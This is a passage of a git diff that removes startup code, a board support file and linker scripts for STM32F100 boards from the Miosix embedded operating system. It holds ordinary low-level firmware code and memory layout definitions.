the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMPER_IRQHandler(); -void __attribute__((weak)) RTC_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel1_IRQHandler(); -void __attribute__((weak)) DMA1_Channel2_IRQHandler(); -void __attribute__((weak)) DMA1_Channel3_IRQHandler(); -void __attribute__((weak)) DMA1_Channel4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel5_IRQHandler(); -void __attribute__((weak)) DMA1_Channel6_IRQHandler(); -void __attribute__((weak)) DMA1_Channel7_IRQHandler(); -void __attribute__((weak)) ADC1_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM15_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM16_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM17_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) CEC_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMPER_IRQHandler, - RTC_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Channel1_IRQHandler, - DMA1_Channel2_IRQHandler, - DMA1_Channel3_IRQHandler, - DMA1_Channel4_IRQHandler, - DMA1_Channel5_IRQHandler, - DMA1_Channel6_IRQHandler, - DMA1_Channel7_IRQHandler, - ADC1_IRQHandler, - 0, - 0, - 0, - 0, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM15_IRQHandler, - TIM1_UP_TIM16_IRQHandler, - TIM1_TRG_COM_TIM17_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - CEC_IRQHandler, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - 0,0,0,0,0,0,0,0, - 0,0,0,0,0,0,0,0, - 0,0,0,0,0,0,0,0, - 0,0,0,0,0,0,0,0, - 0,0,0,0,0,0,0,0, - 0,0,0, - reinterpret_cast(0xF108F85F) - /* @0x1E0. This is for boot in RAM mode for - STM32F10x Medium Value Line Density devices.*/ -}; - -#pragma weak SysTick_Handler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMPER_IRQHandler = Default_Handler -#pragma weak RTC_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel1_IRQHandler = Default_Handler -#pragma weak DMA1_Channel2_IRQHandler = Default_Handler -#pragma weak DMA1_Channel3_IRQHandler = Default_Handler -#pragma weak DMA1_Channel4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel5_IRQHandler = Default_Handler -#pragma weak DMA1_Channel6_IRQHandler = Default_Handler -#pragma weak DMA1_Channel7_IRQHandler = Default_Handler -#pragma weak ADC1_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM15_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM16_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM17_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak CEC_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100cx_generic/interfaces-impl/bsp.cpp b/miosix/arch/cortexM3_stm32f1/stm32f100cx_generic/interfaces-impl/bsp.cpp deleted file mode 100644 index 7ed25842c..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f100cx_generic/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,93 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2019 by Silvano Seva * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** - * bsp.cpp Part of the Miosix Embedded OS. - * Board support package, this file initializes hardware. - ************************************************************************/ - -#include -#include -#include "interfaces/bsp.h" -#include "interfaces/delays.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/stm32_rtc.h" -#include "board_settings.h" - -using namespace std; - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - RCC->APB2ENR |= RCC_APB2ENR_IOPAEN | RCC_APB2ENR_IOPBEN | - RCC_APB2ENR_IOPCEN | RCC_APB2ENR_IOPDEN | - RCC_APB2ENR_AFIOEN; - RCC->APB1ENR |= RCC_APB1ENR_PWREN; - RCC_SYNC(); - - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); -} - -void bspInit2() -{ - //Nothing to do -} - -// -// Shutdown and reboot -// - -void shutdown() -{ - reboot(); //This board needs no shutdown support, so we reboot on shutdown -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100cx_generic/stm32_128k+8k_rom.ld b/miosix/arch/cortexM3_stm32f1/stm32f100cx_generic/stm32_128k+8k_rom.ld deleted file mode 100644 index 40711f37b..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f100cx_generic/stm32_128k+8k_rom.ld +++ /dev/null @@ -1,170 +0,0 @@ -/* - * C++ enabled linker script for stm32 (128K FLASH, 8K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 8KB microcontrollers */ -_heap_end = 0x20002000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 128K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 8K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100cx_generic/stm32_64k+8k_rom.ld b/miosix/arch/cortexM3_stm32f1/stm32f100cx_generic/stm32_64k+8k_rom.ld deleted file mode 100644 index b5c6be994..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f100cx_generic/stm32_64k+8k_rom.ld +++ /dev/null @@ -1,170 +0,0 @@ -/* - * C++ enabled linker script for stm32 (64K FLASH, 8K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 8KB microcontrollers */ -_heap_end = 0x20002000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 64K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 8K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100rb_stm32vldiscovery/core/stage_1_boot.cpp b/miosix/arch/cortexM3_stm32f1/stm32f100rb_stm32vldiscovery/core/stage_1_boot.cpp deleted file mode 100644 index e6bdc9cab..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f100rb_stm32vldiscovery/core/stage_1_boot.cpp +++ /dev/null @@ -1,281 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32 medium density value line devices ONLY (64 and 128KB devices). - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMPER_IRQHandler(); -void __attribute__((weak)) RTC_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel1_IRQHandler(); -void __attribute__((weak)) DMA1_Channel2_IRQHandler(); -void __attribute__((weak)) DMA1_Channel3_IRQHandler(); -void __attribute__((weak)) DMA1_Channel4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel5_IRQHandler(); -void __attribute__((weak)) DMA1_Channel6_IRQHandler(); -void __attribute__((weak)) DMA1_Channel7_IRQHandler(); -void __attribute__((weak)) ADC1_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM15_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM16_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM17_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) CEC_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMPER_IRQHandler, - RTC_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Channel1_IRQHandler, - DMA1_Channel2_IRQHandler, - DMA1_Channel3_IRQHandler, - DMA1_Channel4_IRQHandler, - DMA1_Channel5_IRQHandler, - DMA1_Channel6_IRQHandler, - DMA1_Channel7_IRQHandler, - ADC1_IRQHandler, - 0, - 0, - 0, - 0, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM15_IRQHandler, - TIM1_UP_TIM16_IRQHandler, - TIM1_TRG_COM_TIM17_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - CEC_IRQHandler, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - 0,0,0,0,0,0,0,0, - 0,0,0,0,0,0,0,0, - 0,0,0,0,0,0,0,0, - 0,0,0,0,0,0,0,0, - 0,0,0,0,0,0,0,0, - 0,0,0, - reinterpret_cast(0xF108F85F) - /* @0x1E0. This is for boot in RAM mode for - STM32F10x Medium Value Line Density devices.*/ -}; - -#pragma weak SysTick_Handler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMPER_IRQHandler = Default_Handler -#pragma weak RTC_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel1_IRQHandler = Default_Handler -#pragma weak DMA1_Channel2_IRQHandler = Default_Handler -#pragma weak DMA1_Channel3_IRQHandler = Default_Handler -#pragma weak DMA1_Channel4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel5_IRQHandler = Default_Handler -#pragma weak DMA1_Channel6_IRQHandler = Default_Handler -#pragma weak DMA1_Channel7_IRQHandler = Default_Handler -#pragma weak ADC1_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM15_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM16_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM17_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak 